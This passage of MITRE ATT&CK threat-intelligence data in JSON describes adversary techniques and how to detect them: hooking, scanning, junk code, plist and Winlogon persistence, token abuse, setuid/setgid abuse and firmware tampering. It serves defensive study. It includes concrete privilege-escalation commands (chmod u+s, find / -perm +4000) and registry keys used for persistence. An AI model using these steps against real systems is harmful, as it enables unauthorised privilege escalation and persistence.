                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
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                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
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                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
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                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
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                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
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                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
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                    "source_name": "Volatility Detecting Hooks Sept 2012",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
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                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
                },
                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
                },
                {
                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
                },
                {
                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
                },
                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
                },
                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
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            "name": "Hooking",
            "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
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            "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
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                    "external_id": "T1595"
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                {
                    "source_name": "Botnet Scan",
                    "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
                    "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
                },
                {
                    "source_name": "OWASP Fingerprinting",
                    "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.",
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            "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
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                    "phase_name": "reconnaissance"
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                    "external_id": "T1027.016"
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                {
                    "source_name": "ReasonLabs",
                    "description": "ReasonLabs. (n.d.). What is Dead code insertion?. Retrieved March 4, 2025.",
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                {
                    "source_name": "ReasonLabs Cyberpedia Junk Code",
                    "description": "What is Junk Code?. (n.d.). ReasonLabs. Retrieved April 4, 2025.",
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            "description": "Adversaries may use junk code / dead code to obfuscate a malware\u2019s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with [Compression](https://attack.mitre.org/techniques/T1027/015) or [Software Packing](https://attack.mitre.org/techniques/T1027/002).(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.(Citation: ReasonLabs)\n\nThe use of junk / dead code insertion is distinct from [Binary Padding](https://attack.mitre.org/techniques/T1027/001) because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware\u2019s signature.   ",
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                    "external_id": "T1547.011"
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                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
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                {
                    "source_name": "wardle artofmalware volume1",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.",
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            "name": "Plist Modification",
            "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)",
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            "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "created": "2020-01-30T13:58:14.373Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548",
                    "external_id": "T1548"
                },
                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:37.690Z",
            "name": "Abuse Elevation Control Mechanism",
            "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "User Account: User Account Modification",
                "Command: Command Execution",
                "Process: OS API Execution",
                "File: File Modification",
                "Process: Process Metadata",
                "File: File Metadata",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "created": "2020-02-18T16:48:56.582Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/002",
                    "external_id": "T1134.002"
                },
                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "Microsoft RunAs",
                    "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T20:37:17.537Z",
            "name": "Create Process with Token",
            "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_contributors": [
                "Vadim Khrykov",
                "Jonny Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
            "created": "2020-01-30T14:11:41.212Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/001",
                    "external_id": "T1548.001"
                },
                {
                    "source_name": "GTFOBins Suid",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
                    "url": "https://gtfobins.github.io/#+suid"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "setuid man page",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:17.707Z",
            "name": "Setuid and Setgid",
            "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "created": "2020-01-24T16:59:59.688Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/004",
                    "external_id": "T1547.004"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:37.982Z",
            "name": "Winlogon Helper DLL",
            "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "created": "2017-05-31T21:30:28.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1019",
                    "external_id": "T1019"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/532.html",
                    "external_id": "CAPEC-532"
                },
                {
                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "url": "https://en.wikipedia.org/wiki/BIOS"
                },
                {
                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
                },
                {
                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "url": "http://www.uefi.org/about"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
                },
                {
                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
                },
                {
                    "source_name": "McAfee CHIPSEC Blog",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
                },
                {
                    "source_name": "Github CHIPSEC",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "url": "https://github.com/chipsec/chipsec"
                },
                {
                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.498Z",
            "name": "System Firmware",
            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ryan Becwar",
                "McAfee"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "created": "2020-02-11T18:26:36.444Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/003",
                    "external_id": "T1021.003"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
